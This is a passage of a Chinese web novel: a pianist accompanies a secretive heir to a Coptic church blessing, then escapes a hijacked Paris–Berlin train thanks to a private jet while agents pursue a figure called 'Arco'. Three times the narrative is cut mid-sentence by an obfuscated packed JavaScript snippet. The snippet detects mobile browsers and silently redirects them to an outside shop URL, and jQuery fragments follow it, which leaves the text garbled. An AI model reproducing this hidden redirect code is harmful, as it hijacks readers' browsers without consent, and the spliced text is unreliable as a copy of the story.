“不过他这个人……”裴枝和含着水杯沉吟片刻:“深不可测,看不懂,猜不透,也推断不了。做事不按章法不动声色,而且有很多秘密。你想靠近他从而得到些利益,恐怕没那么简单。除非你有能打动他的东西。” 艾丽像看傻子一样看他。 “干嘛?”裴枝和被她看得发毛。 “能打动他的东西,那不就是你?”她可打听过了,虽然他名下的基金会一直在扶持艺术家,但周阎浮本人对艺术的兴趣可以说是基本没有,大约在十五六年前,彼时他只是个在读高中的毛头小子,亮相于埃莉诺夫人的艺术晚宴上,被一群读老钱公学的公子哥们奚落得惨不忍睹。据说当时,香槟酒顺着发梢滴滴答答,众人都在等着看他笑话,而他只是捏紧拳头一言不发,像头在记账的狼崽子。鉴于是青少年们的玩闹,夫人也不好插手,这事就这么不了了之下来。 裴枝和:“他十五六岁被埃莉诺夫人豢养了?” 艾丽:“你重点在哪里啊!” 虽然很领情于艾丽的苦苦钻营,但裴枝和还是实话实说:“不管怎么样,我已经得罪透他了,而且,我讨厌他。” 艾丽忍住了没发作。淡定,这是天才,是摇钱树,是学弟,是同胞,是小朋友,是定时炸弹,是作精,是该死的……不对不对,是天才,是摇钱树…… “艾丽,你要相信这个时代不会埋没一个天才,靠我们自己也可以的。”裴枝和放下水杯,认认真真地说。“我们就一场一场巡演地开着,一张唱片一张唱片地录着,一个小时一个小时地把琴练着。” 刚刚的怨言忽然都烟消云散了,艾丽居然感到眼眶微热。 这是个二十二岁童年破碎家庭复杂亲妈神经亲爹卑鄙的天才,上帝调配上这些参数时就注定了会跑出一个长歪了的成果,他一定阴阳怪气个性古怪自卑自负敏感脆弱,极度地关注身边的秩序和自我体内的风吹草动。她不该和他计较。她是来代他实现商业化并帮他从这部份隔离出来保护好的,否则,要她干嘛? 艾丽握住他手:“你说得没错,那我就一个办公室一个办公室地跑,一个沙龙一个沙龙地闯。” “……” “不过,讨厌一个人才更应该往死里利用他吧,怎么样!” 裴枝和:“……” 艾丽被他赶回了酒店。 他平时住在里昂比较多,算是他的第二个故乡,房产也置在那里,巴黎这儿只买了一个小公寓。裴枝和颇喜欢这个小公寓,可以看到河景,下楼走两步就是一家门店窄小的独立书店。那家店有一道漆成墨绿色的窄门,独树一帜地收藏了很多乐谱、音乐家传记乃至某些原版手稿,重要的是,这里不准拍照,因此裴枝和每逢来巴黎必去。 书店占上下两层,装潢很老,靠墙摆的是一张长榻,红色软垫上摆放着深蓝色丝绒靠枕,壁龛里摆放着一尊头戴埃及式金色冠冕的人物雕像,裴枝和不认识。 周阎浮上来时,裴枝和正抱了一本书歪坐在那张红色长榻的靠墙一角,面前古朴实木的茶几上摆了一杯一碟的红茶和小蛋糕。 “你很适合红色。”周阎浮驻足片刻,抬步出声。 啪的一声,裴枝和合上那本厚厚的书。 真是冤家路窄。 “别这么一脸不情愿,”周阎浮略笑了笑,“我还什么都没说呢。” “只是没想到会在这里碰到周先生而已。”裴枝和抱书起身,即使给他鞠躬也透着股倨傲,脊背板正,“失陪。” “慢着。”周阎浮果然叫住他:“我们的赌约,枝和小姐打算什么时候兑现?” 裴枝和吞咽了一下,警惕地盯着他,直觉他狗嘴里吐不出象牙。 周阎浮的视线好整以暇地将他从脚到头地扫了一遍:“不如,”他恶劣地停顿,“就穿一次晚礼裙登台演奏吧。红色的怎么样?” 裴枝和恨自己画面感太强:“你做梦!” “看来你不喜欢红色。” 抱书的手指寸寸收紧,直至关节都泛出白色来,齿关也是咬紧的,裴枝和用这种忍辱负重的姿态说:“周先生,输给你我已经认命,只希望你早点给我解脱。这样。” 周阎浮淡淡瞧了他一眼,回到了最初的漫不经心:“既然你主动开口,那就成全你吧。陪我去一趟教堂,这事情就算了结了。” “就这样?” “没错,就这样,就今天。” 裴枝和这才反应过来,哪有这么顺便的事,他今天又是有备而来!刚刚要他穿女装登台也是故意吓他的! “你怎么知道我在这里?”裴枝和抬起头来四面环顾,试图找出一个摄像头。 “书店是你开的?” “嗯。” “嗯?”裴枝和视线嗖的一下收回,“我不信。” 周阎浮勾了勾唇:“随便你。” 门外,一台黑色长轴轿车正停在路边,奥利弗已经拉开了车门:“又见面了,音乐家。” 裴枝和上了车,等开出两里地了才发现书没还。因为在这男人身边过度紧张,一直紧抱在怀里不放呢,书皮都快被他抠烂了。奇怪,刚刚出门时,前台小哥明明看到了,居然没喊住他? 奥利弗对他调头的指令充耳不闻,周阎浮则从裴枝和怀里轻巧地抽走了书:“就当你买过单了。” “什么叫就当——” 奥利弗无情开窗无情踩油门,灌了裴枝和一嘴风。 “&*%??#!” ……该死的保安! 巴黎遍地是教堂,许多游客一落地就来打卡圣母院。按裴枝和猜想,像周阎浮这般身份地位的,要么去圣母院这种最恢宏的,要么就是去拉文内尔家族内部的教堂。然而车子却一直开,城市建筑由稠到疏,直至被大片的田野和三两村舍所取代。 终于,在裴枝和发飙前,奥利弗一脚刹车。车子甩尾以标准的侧视位泊好,轮胎与水泥路磨出焦味。 裴枝和跌下车,面色青白。 奥利弗耸耸肩:“我们美国保安就是这么开车的。” 什么听力! 裴枝和原想竖个中指回敬,又怕奥利弗把他手指割了,岂不是损失惨重……俄而一声钟声荡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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way,我是天主教徒。”奥利弗又娴熟地画了个十字,“音乐家先生是?” 裴枝和:“马克思主义者。” 奥利弗:“哦哦,这是哪位圣徒修道者?” 裴枝和:“……你是文盲吗。” 奥利弗耸耸肩:“不问问路易的宗教信仰?” 裴枝和怀疑他真的是头脑简单四肢发达:“这不是显而易见吗?” “Lady,你需知道眼睛看的、耳朵听的不足以构成全部的事实。” 裴枝和注意到,在这个教堂里,奥利弗前所未有的放松,似乎暂时卸下了安保的职责。 他转而看向周阎浮。虽然周阎浮对他提出的要求是陪他来一次教堂,但真的进来了后,却完全没顾上他,也未曾对他多看几眼。 这个教派似乎不设跪礼,没有跪凳。此时此刻,周阎浮笔直站着,总是黑衣黑裤的他如一柄沉默的重剑,垂首闭目在四周圣像的目光交汇处。 他修长而筋骨分明的手,与手中的银色十字架构成了难以言喻的对比,一丝天光从高窗中笔直洒落,照亮了他左手上从不摘下的黑色真丝手套。 奥利弗无所事事,问裴枝和:“你知道沙漠教父吗?” 裴枝和简直成了观光客,轻松自在地问:“什么?听上去很酷。” “……” 奥利弗:“这个教派很老,最早可以追溯公元三世纪起一批被称为‘沙漠教父’的修士们。他们主张到沙漠里苦修,睡山洞,禁食、禁邪念恶念之类。” 见裴枝和听得津津有味,奥利弗来了劲,开始胡编乱造:“所以balabala~随着历史和教派的发展,现在他们的教徒们也都奉行勤俭生活,以及——” 裴枝和:“什么?” “禁欲。”奥利弗:“很严格的禁欲。” 话音刚落,就感到周身气息一凉,像是杀机略过,紧接着是一道冷若冰霜的声音。 “奥利弗。” “不要造谣。” 13.第 13 章 胡诌被抓了个现行,奥利弗心虚地咳嗽一声:“难道没有吗?” 奥利弗是军队出身,任务到哪就玩哪儿的女人,退伍后成了职业雇佣兵,更是放浪形骸。长期的生死一线让他们对寻常乐子早已感受不到刺激,何况干这行,说不定哪一次任务就挂了,再禁欲就真是拿自己当仇人对待了。 周阎浮是这个例外。 自从奥利弗认识他以来,任何一次花天酒地他都没参与过。他顶着拉文内尔的姓,有的是人给他送男男女女,他一概敬谢不敏。时间一长,奥利弗都犯嘀咕,难道,莫非,这人看上去日天日地,实际上真的做了埃莉诺夫人的裙下臣?这身体是为了夫人守的? 奥利弗永远记得那个惨痛的午后。在这一问后,他被迫足足过了半年的无性生活。 所以,谁敢说他不是在追随沙漠教父们的教谕,践行某种低欲.望生活? 周阎浮警告意味明确地扫了奥利弗一眼,又看向裴枝和,超绝不经意地说:“他说的话你信三分就可以。或者都不要信。” 不知何时起,刚刚还在这里的信徒们已离开,教堂的门也闭上。空间里奇特的香料味越发浓重了,经过天窗射下的光柱,照亮了上方的十字架。过了会儿,在那些黑袍僧侣们的搀扶下,出来了一个穿白袍的神父。 他的服装看上去比这些人要隆重一些,应当是为了特殊日子准备的,袍上绣金线,头戴一顶同款式的冠冕。他看上去很老了,露在袍子外的手枯槁得让人害怕,脚步颤巍巍,在露面的那一刻,周阎浮便一个疾步上去,高大的身体微躬,既是尊敬也是帮助意味地托住了他的手。 这倒新鲜。裴枝和从没见过这个不可一世的男人对谁这样,包括埃莉诺。 他们仍然先用阿拉伯语交谈了一阵,不知提到了什么,裴枝和发现奥利弗的脸色一变,而一旁的周阎浮虽然面无改色,但那双总是很冷晦的眼眸中,某种深沉的悲伤却席卷而过。 突如其来的英语,将裴枝和从事不关己的旁观者状态中唤回。 周阎浮:“为你介绍,这位是阿布纳神父。” 裴枝和将两手从西装裤兜里伸出来,垂在腿边,规规矩矩地鞠了个躬:“你好。” 这位老人示意他伸出手。裴枝和茫然而求助地看向周阎浮,用中文说:“抱歉,我不信教,也不接受传教。” “把手给他。” “……” 算了。信仰在己,不是一次布道能左右的。抱着完成赌约的心态,裴枝和伸出手。阿布纳神父将其牵到掌心,又盖上了自己的另一只手。 神父的手温暖而干燥,老人独有的光滑肤感。他的双眼也如此温暖、明亮地注视着裴枝和。 “孩子。”他这么唤了一声裴枝和。 Kid. 之后,他以一种肃穆、庄严的口吻说话,不疾不徐,似某种遥远的诵祷。 裴枝和等了半天奥利弗给他翻译,但奥利弗也没反应。 裴枝和:“?” 奥利弗摊摊手。 没办法,他也听不懂。这不是英语,也不是阿拉伯语,甚至不是任何裴枝和感到熟悉的发音。 阿布纳神父的诵祷在数十秒后停止。 周阎浮突如其来的派下任务:“记住这段话。” 裴枝和一头问号,愠怒,那你倒是早说啊! 在周阎浮的示意下,神父再度吟诵,还是刚刚那段。黑袍僧侣们垂头沉默,身后圣所烛光摇曳,天光渐斜,点亮被众僧包围的裴枝和,肃穆黑色中神圣的白。 “裴枝和,记住这段话。”周阎浮这次的口吻严厉了很多,表明他不是在开玩笑。 裴枝和蹙紧了眉心:“等等……” “记住。”周阎浮斩钉截铁,已成命令。 于是在阿布纳神父的第三次重复下,裴枝和下意识正色起来,以一种不服输的姿态紧盯他的口形,模仿他的发音。 将这些音节想像成音符,落在五线谱相近的位置,组成远古的吟唱……他闭上眼,感受着神父传递到他掌心的热度。在脑中回想起的唇形,与他正在动用的唇舌渐渐同步了。 “……求你保守我所爱的人,使我们在你里面合一,在患难中彼此扶持,在喜乐中彼此分享。赐我忍耐,使我在风暴中不动摇。我的灵魂、我的生命、我的道路交托在你手中,你,是我的牧者。” “我会了!”初学者一气呵成背诵完,猛地睁开眼,长吐一口气。 眼前的七八张面孔,除了周阎浮,个个都面露惊奇发出陌生语言的赞叹,宛如看到神迹。 “科普特语很难,你学会的速度让他们惊讶。”周阎浮为他解释,继而再度向阿布纳神父鞠躬。神父这回握住了周阎浮的手,目光与手中力度同样地紧,同样地不愿分离,有一些激动地说着什么。 不多时,阿布纳神父力衰,众僧簇拥他将他原路送回。金色烛光摇曳,给画面镀上油画质感。 离别前,他们的面色呈现出一种宁静的悲伤。 裴枝和心思敏锐共情力高,立刻问:“他们怎么了?” 周阎浮语速平缓,语气平静:“这是我们和他的最后一面,他行将就木,你刚才听到的,也许是他在世时最后的一次祝祷。” 裴枝和愕然,不由自主地将目光追向神父背影,然而随着木门掩上,肃穆而悲凉的阴影已吞没众僧。 奥利弗终于问:“他是从开罗过来,特意……” 周阎浮:“没错。” 他冲两人略点了下头:“失陪,我去抽根烟。” 临行前,他特意警告奥利弗:“不该说的别说。” 圣所后有一道狭窄的木质楼梯,周阎浮的身影拐过梯角,消失不见。 “他就不怕这里也有人想暗杀他?”裴枝和怀疑自己得应激创伤了。等等,遭暗杀的又不是他! “如果有人知道能在这里狙击他,就代表着他最大的秘密已经失守,生与死也就无所谓了。”奥利弗用一种满不在乎的味道说。 这种满不在乎不是因为他事不关己高高挂起,而是安全感充沛的表现——他知道以周阎浮的能耐,这种事不会发生。 “难道这里就没人认识他?”裴枝和奇怪道,“然后通风报信?” “平民百姓和富豪贵族的世界是不相通的。”奥利弗把玩着一根烟管,“在这里,他就是一个普通人,有钱,乐善好施,虔诚。科普特正教的信徒不多,如果不是路易出资修缮,巴黎的科普特人就没有给上帝唱诗的地方了。另外,”奥利弗似笑非笑,“谁想当犹大?” 教堂的顶楼是两片对称的半坡形天台,可以遥远地看到巴黎这个城市的轮廓。一些鸽子在此歇脚,在风中送出咕咕声。 裴枝和上来的动静不小,扶着墙喘了半天气。 周阎浮指间夹着烟,没回头地说:“又疏于锻炼了。” “啊?” 周阎浮沉默了一阵:“没什么。多动动腿脚,逃命时方便自保。” 裴枝和才不要。他宜静不宜动,练琴就够累的了,再去健身房跑步,他怕自己猝死。 “你刚刚让我背的那段,是什么意思?” 周阎浮让他再重复一遍,直到裴枝和一个发音不差地背完了,他才点点头,撒了一个毫无痕迹的谎:“意思是请上帝赐予人间和平、平等,免除灾祸、战争和歧视,并让我们常怀敬畏、感恩。” 裴枝和又追问:“干嘛要我背?我都说了别给我传教。” “没有为什么,”周阎浮掸了掸烟灰:“你输给我了,就随便找件事给你做。” “你!” “嘁。”裴枝和挑了挑眉,“你也没想到我这么有天赋吧?是不是很失望?但可惜,游戏已经结束了。” 周阎浮看着他这种略有些得意的、天真而忘形的姿态,捕捉着他眉眼间的漂亮,不免扯动嘴角笑了笑:“没错,所以你可以走了。” 在院子里蹲着的奥利弗听到一声悲愤抗议:“这里都打不到车!!!” 灰白鸽子被惊得从屋檐上扑棱棱往下飞,奥利弗敏捷地往旁边跳了一步,怕被鸟屎淋了倒霉。 过了会儿,天台上的两人陆续下来。教堂里没人来送,原先那些黑袍僧人们正围在阿布纳神父身边,聆听他最后的诵祷。 黑色轿车沿来路驶远。裴枝和忍不住回头,一边瞥了瞥身边闭目养神的男人。真是冷血啊,他这个一面之缘且不信教的人尚且为这离别感怀,而周阎浮明明看上去与那个神父渊源很深,却一次也未回头。 一次也未。 朴拙的教堂在视野里越来越小,直至一道缓坡后,彻底消失在田野下。 回程路上没人说话,奥利弗也将车开得很平稳。仍旧送到书店门口,裴枝和下车道别。站在车门边犹豫了片刻,跟周阎浮确认:“周先生,我们之间结束了是么?” 这么问好像有点暧昧……裴枝和急着补充一句:“我的意思是,我不欠你什么了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836172|190489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周阎浮坐在车里,恢复到了那种身居高位的高深莫测中:“下一场独奏会,我会坐在第一排,亲耳听一听我送你的这把琴。” “……”裴枝和变脸如翻书,瞬间把刚刚表演出来的忐忑惶恐收拾得一干二净,脸一挂,给了他一个决绝的背影。 身后,长轴黑轿缓缓启动,不等周阎浮吩咐,自动绕街区三圈。直到书店监控显示裴枝和离开后,方才停泊回去。 裴枝和回书店是为了还书。书店的雇员很稳定,一直是那几个,故而跟他这种老客是互相脸熟的。见裴枝和拿了这本书来结帐,小哥诧异地摇摇头。 裴枝和:“孤品不卖?” 收银台小哥笑笑:“你已经买过单了。” “什么时候?你肯定搞错了。” 对于他的疑问,小哥不再开口,只是礼貌地笑着。 由于对方坚持不开单,裴枝和只好从钱夹里抽出一张纸币,塞进了前面的爱心捐款箱里。 其实他没理由买这本书,因为这是他恩师前半生的自传,由他恩师、现如今国际古典乐坛的顶级权威之一、奥地利的国宝演奏家埃夫根尼亲自著述。 埃夫根尼从维也纳爱乐首席的位子彻底退下来后,既未开独奏巡演,也没有接受任何学院的聘任,十年间仅收了四位弟子闭门授艺,裴枝和是这里年纪最小的,也是唯一的非白人面孔。 书里的很多内容裴枝和都听老师讲过。讲道理,老师琴拉得前无古人,但文笔属实不太好,流水账似的写今天和谁合作,明天被谁引荐去见了谁谁谁,老外名字写起来都是一长串,没塞几个人物一页就翻过去了,看半天像看菜单。 不过,恩师杰出的古典乐成就依然让这本书十分畅销,各家书商都想拿到下半本代理权,可惜埃夫根尼突然间闭门谢客。 裴枝和从香港回来后,由于内心混乱,曾回到老师这儿寻求解答。他的冥想习惯,就是在期间养成的。按理说他重开独奏巡演,埃夫根尼绝对会现身捧场,媒体也早已摩拳擦掌,在艾丽的授意下,一篇师生传承的伟大专题报道早已写好。 可惜,埃夫根尼未现身,仅以一通电话、一个花篮表达祝贺。 网络上已有声音,说师徒不睦,不乏有好事者将之牵扯到裴枝和的私生子出身上,认为这是大师眼里容不下沙子,清理门户了。 裴枝和打过一通电话过去,是埃夫根尼的养子接的,说他最近在静养。柏林站巡演在即,裴枝和只好先顾这一头,等巡演结束再去拜访。 这次巡演踩在了夏秋音乐季的脉搏上,巴黎、米兰、柏林、莱比锡、维也纳、阿姆斯特丹,共六站。近段时间局势不稳,巴黎罢工、游.行不断,更有蒙面组织在网上发布机场恐.袭预警,弄得人心惶惶。 艾丽好商好量:“保险起见,这次就坐火车吧?” 她胸有成竹列出数条理由,除了避开恐.袭预警外,还有:“阿伯瑞斯是个环境友好型的基金会,践行低碳的艺术家会大大加分。我没放弃让他们支持你,你装也得给我装出个环保人设。” 艾丽:“其二,你也知道你耳压敏感,每次坐飞机,至少要花一整天时间来恢复耳朵状态。坐火车就没这事儿了!” 好吧。 裴枝和“嗯”了一声。 艾丽甚是欣慰。必要时这孩子还是很好沟通的嘛……虽然从巴黎坐火车去柏林需要好几个小时,但欣赏夏末秋初的欧陆风景,也不失为一种心灵的放松……就是屁股已经开始痛起来了。 “铃铃铃——” 办公室的座机铃响。 艾丽揭下话筒夹在耳下和脖子间,两手习惯性地拿了一支笔在便签上速记:“稍等,你是说……” 她笔速慢了下来,有点口吃且脸色凝重,浑身上下都写满了大事不妙。 出事了? 裴枝和掀了掀眼,歪坐在黑色沙发上的身体也略抬起。 艾丽:“你是说你是亨氏私人飞机租赁公司,有个不愿透露姓名的好心人为枝和先生预订了一台私人飞机……吗?” 裴枝和:“?” “哦哦,不是单趟,是一直到巡演结束?”艾丽眼睛瞪瞪像铜铃,但硕大的瞳孔里已经完全空白了,“哎呀其实欧洲那么小,这个乐迷也真是的,根本用不着的嘛……啊?会不会不方便坐飞机?没有!怎么会!耳压?我们枝和有自己的调节办法!哈?媒体会喷?这么多管闲事,怎么不去管莱昂纳多啊!” 裴枝和:“……” 14.第 14 章 “不知道坐私人飞机有什么注意事项呢?”艾丽敲着下巴未雨绸缪。 “别看我,”裴枝和给自己倒了杯水,“我没坐过。” 他虽然出身豪门,但却是被勉强认祖归宗的私生子,夹缝里生存。他的地位从他的姓氏可见一斑:他的生母姓苏,生父姓连,那么他的裴姓从哪里来?从生父的正牌妻子而来。没错,他的父亲是一个无足轻重的赘婿。而裴枝和之所以能来到裴家,并非他生父的骨血有多重要,而是裴家主母为了恶心这对苟合男女的心血来潮而已。 试想看,还有什么比让一个女人骨肉分离更亲者痛仇者快的事?而裴枝和生活在生父眼皮底下,恰好无时无刻不在提醒他的道德有亏,好让他面对发妻时更加夹着尾巴做人。而妻子一旦被惹到了,将这私生子拎出来当众羞辱一番,又是多么畅快舒心! 裴枝和在裴家,就是这样的存在。整个香港上流社会都知道他的出生来历,因为这有助于弘扬裴家主母的大度无私。他能过得稍微那么看得过去,一是因为跟商陆结识,二是他到底有天赋,懂低头,而幸好裴家主母并非无情草木,时间一长,也就把他看顺眼了。 因而,私人飞机这种东西……裴枝和确实也没见过。 总而言之,至少他的屁股和他的琴都可以少受罪了。 艾丽忙着找官网确认时,裴枝和默默打开琴盒,指尖自琴弦抚过,然而脑中的画面却坏了——不是他对商陆的追忆,而是另一张讨人厌的面孔—— 「这把琴,从此是我送你的了。」 砰的一声,裴枝和面无表情合上琴盖,深呼吸三次。 通过官网电话和一系列公开的名人合照,艾丽确认了这是一家老牌飞机租赁公司,证件齐全,是许多明星和球星的固定合作商。她再三追问是谁出资,对方三缄其口。 裴枝和心里其实有个嫌疑人选,但他绝无可能去求证。 他耐得住性子,偏偏对方似乎也笃定了要深藏不露,因此直到起飞那天,他都没能揭出幕后人。第一程到柏林,艾丽全程坐立难安,腰绷得笔直。 艾丽:“我怕飞机上绑了炸.弹!” 都怪欧洲恐.袭太多! 嘎嘣一声,裴枝和塞了片黑巧到嘴里,认真地思考:“是为了炸飞时体态也够好看吗?可是这不科学吧?” 艾丽:“……” 艾丽躺下了。去它的,真有什么事好歹她也享受过一次私人飞机了! 落地之后,一则突发新闻席卷了全部的社媒头条,并登上了法德两国趋势第一:原定从巴黎前往柏林的某趟高速列车出现突发事件,全线中断,现正停于边境。 所有人都以为这只是一次平平无奇的故障,直到列车长和调度中心赫然发现自己失去了对列车的控制权。没有人声张,但特别行动小组和特种谈判专家已迅速秘密前往现场。 列车的通讯被官方秘密切断。网上恐慌情绪疯狂攀升,猜什么的都有。艾丽也一直刷着最新消息,因为这趟车就是他们原本打算乘坐的那趟!而列车上的乘客们,则在无事可做的等待中怨声载道,对可能发生的危险袭击丝毫不知。 幸运的是,一个小时后,故障修复,列车重新启动,中断的信号也恢复了。 柏林。 萧瑟下来的秋意中,这趟特殊的列车缓缓进站,迎接他们的是严阵以待的两国警察,以及——本不该出现在此摩萨德情报组织成员。 警方对此没有过多解释,宣称是特殊演习,所有人都必须接受严格的身份盘查和搜身。 奥利弗顶着一头绿毛,低腰工装裤上挂着好几根银链子,鼻钉唇钉闪闪发亮,十个手指套满骷髅头戒指,一幅学历低下素质不详的模样。他在两个女警跟前高举双手转了个身,身上干净得连张擦屁股的纸都掏不出来,最后还吐个舌头,展示他的舌钉。 警察:“……” 一号车厢车门口,商务座客人亦按序列下车接受盘查,并表现出了比普通车厢更矜持的安静和疏离。一个身穿薄款黑色羊绒大衣男人,沉默地排在一个谢了顶的工程师身后。他的大衣里面是一件浅灰色套头连兜帽卫衣,下身则是一条垂顺的运动裤,一双经典款AJ,单肩挎着一个书包。 轮到他了。 他递出自己的身份证件:上杉彻,国籍日本。 “日本人?”查验他的警察刚好会点日语。 对方用日语对答如流,毫无一丝生硬痕迹,听口音,是京都那一带的。 警察仔细比对相片。他轮廓立体,五官深邃挺拔,薄唇抿着,唇角弧度自然上翘,眼珠则是典型的东方人那种褐色,戴一幅方形黑框眼镜,标准的hot nerd,书卷气但很性感。 他的学生卡表明他是德国某大学自动化专业在读博士生,前往巴黎参加行业内的学术会议。在警方的要求下,他摘下书包,拉开拉链,露出里头的电脑和文件,并抽出了其中一份递过去。上面明明白白写了该学术会议的时间地点和主题,同时还有几份会议资料报告。 十月份的柏林已经快入冬,加之这两天冷空气肆虐,他的一双手都带着黑色羊皮手套,警察没作多想。 对于敢来德国攻读工科博士的,德国人都报以充分的同情和尊重,放行前微笑祝他早日毕业。 他标准日本式地躬身、点头,将书包背回身上,就这样坦然地走过了两个慧眼如炬的摩萨德特工面前。 直至一个乘客也排查清楚,对讲机传来的手对命令:“路易·拉文内尔没在这趟车上,情报有误,收工。” 然而半小时后,这趟列车再次登顶了各国趋势,因为有人放出了一段偷录的视频—— “啊!!” ——艾丽猝不及防一声尖叫,将手机丢远,紧抱自己蹲到了地上。 这是网上流出来的一段号称偷拍于车厢洗手间的画面。被枪杀的是一个抱着公文包、穿灰色西装的中年男性白人,可怜的人正站着小解呢,却突然被破门而入,还没出声就被蒙上了黑色头套。 “枝和……”艾丽环抱着自己颤抖的双肩,声线细得随时会断:“你看一眼,这是几号车厢……?” 裴枝和从地上捡起了手机,平静地报出了一个数字:“二号,商务车厢。” 艾丽浑身脱力软到地上。 她不敢想象,如果不是她一念之差选择了蹭这趟私人飞机,现在在车厢里的他们,会发生什么? 至此,整个互联网也都明白了过来,这根本就是一次恶性事件,而官方切断的那一个小时通讯,就是为了安抚乘客、控制恐慌,并切断那些人的表演渠道。 一个熟悉的名词一闪而过。裴枝和蹙了蹙眉心,忍着极大的不适,将这段混乱偷拍的画面再度看了一遍。 “where is ‘Arco’?”在偷拍人沉重急迫的喘息中,一句这样模糊的英语飞速略过。 Arco……Arco!裴枝和果断拉回进度条,重又听了一遍。这人绝不是英文母语者,口音很浓,但一股强烈的直觉还是击中了裴枝和——他汗毛倒竖,这个人说的就是弓奏! 这是那天在拉文内尔家听到词,是两个杀手暗杀周阎浮前所说的东西。 这则视频激起了全网热议,一派人讨论这人说的“Arco”是什么,阿科?一个人名?还是Echo但发音不对?另一派人则在质问官方为何隐瞒这一流血事实,伪造出无人伤亡的假象?民众有权知道是否还有其他无辜伤亡者! “没有其他伤亡者。”法国警方特别行动组办公室,接线员口气冷漠,“这件事没有什么接受采访的余地。” 与此同时,柏林某居民区秘密办公室。墙上,一幅错综关系的人物关系图几乎占满了整块黑板。今天被枪击的白人赫然就在正中。 这是国际风控组织“处子”的柏林基地。成员精简神秘,为各国政府、能源巨头和国际银行提供影子审计和灰色产业清扫。 Arco自浮现以来,搅动国际能源风云无数,这背后牵扯到的不仅是金融市场交易秩序,更是国际地缘政治秩序。因此,Arco已经跃升为了他们头号最终目标。 “线索又断了。”一只从关节就能看出强健有力的手,在黑板上拍了拍——“本·沙哈尔,以色列人,通信工程技术专家,活跃于多家国际私营安保系统设计,五年前成为‘Arco’技术顾问。这一次,据说他随身携带着有关Arco的重要驱动硬件,前往柏林交易。” “这次摩萨德的人也来了,跟他有没有关系?”一个穿精纺羊毛西服套装、学者打扮的女人说。她叫达米安,是世界银行顾问,国际法专家。 “当然,在为Arco效力前,他也参与过摩萨德多起任务。”回答她的是英国前特种兵,心理侧写专家西奥·路德。 “看来,这还是个三姓家奴。这也是为什么他被盯上的缘故。对方以为他手上有Arco驱动。” “他的死亡是被设计出来的。有情报透露,他早就偷偷跟俄罗斯方面搭上了线,你知道在旧约的故事里,”西奥·路德意味深长停顿,“犹大的背叛,是最无可恕的。” 屋内陷入短暂寂静。 “你是说,他的背叛早就暴露,而Arco背后的人故意派他出去交易,并放出信号给别人,这样一来,他被劫持、被杀就都在情理之中了。” 今夜注定灯火通明。 裴枝和关掉电视新闻,让艾丽洗个热水澡睡觉。今天这些事让艾丽成了惊弓之鸟,打死也不要一个人睡。裴枝和住的是一个小套房,只好绅士地将床让给艾丽,自己和衣躺沙发上。 三人位沙发的长度不够他伸长腿,裴枝和也没什么睡意,闭眼默默冥想。过了一个多钟,他起身,眼眸清醒,拎起一旁座机,伸手欲拨。 但他不知道周阎浮的号码。 他几乎认定了这架飞机是周阎浮的手笔,如此说来,他是他的救命恩人——第二次。说内心没有波动是假的,他至少真心想道谢。同时,他也想问问,Arco到底是什么? 同一时间,暗网某一加密广场刷新公告: 【A17 单元交割确认|验柜通过|链路关闭】 “操!怎么可能?!”一声怒骂,响彻“处子”办公室,“他是什么时候完成的交易?”卡维 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16840791|190489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ·路德一拳敲在墙上。 “在列车上。”一直没有说话的房内第三人,冷不丁开了口。 他穿黑色卫衣,兜帽拉下来的阴影覆盖住了整张脸。即使说话,他也没有抬头,维持着双手环抱、弓背缩在墙角的姿势。 “什么?”达米安不懂。 “因为法国方面判断这次可能是恐.袭,所以率先屏蔽了信号,这对他来说刚好也是天然的屏障,天然的交易时间。我们都以为他会下了车在柏林跟人接头交易,但事实上,还有什么比一辆正在被警方封闭的列车更安全?所有人的注意力都在那帮拿枪的人身上。” 黑兜帽还是淡淡的语气,分析完,他抬起头,出人意料的一张年轻的脸:“悄无声息地布局,一次性完成好几个不可能的任务,再神不知鬼不觉地消失——这就是他——路易·拉文内尔。” “是不是他还不一定。”作为任务组行政长官,达米安说话谨慎:“他是法国官方的座上宾,出身高贵,国际形象清白,没有必要自己亲身涉险交易。” “当然,他的能量,足够他成为任何一国政要的座上宾。”黑兜帽闭上眼,似乎到了睡觉时间,“但是他这种人,是不屑于当一个高高在上的食利者的。他的乐趣来自操纵。” 柏林某五星酒店内。 裴枝和将座机话筒轻轻放回,弯腰给自己老老实实地套上袜子。 左右睡不着,他决定下去搞杯酒喝。正式演出在大后天,他特么也要压压惊! 酒店顶楼就有一家rooftop吧,裴枝和乘电梯上去,出门时,与一个高大的绿毛头擦肩而过。这家酒吧是专业的调酒吧,出品稳定,不少人都来喝一杯,大晚上的居然是满座状态。好在一个人也好安排,酒吧帮他在吧台转角找到了张空椅。 既然是来找醉,裴枝和上来就点了杯马提尼特调。等酒期间,他听着隔壁几人聊天,用的是日语。 “稍等。”周阎浮隔着中间两个不重要的人抬眸望去,压在杯垫上的手顿了顿。 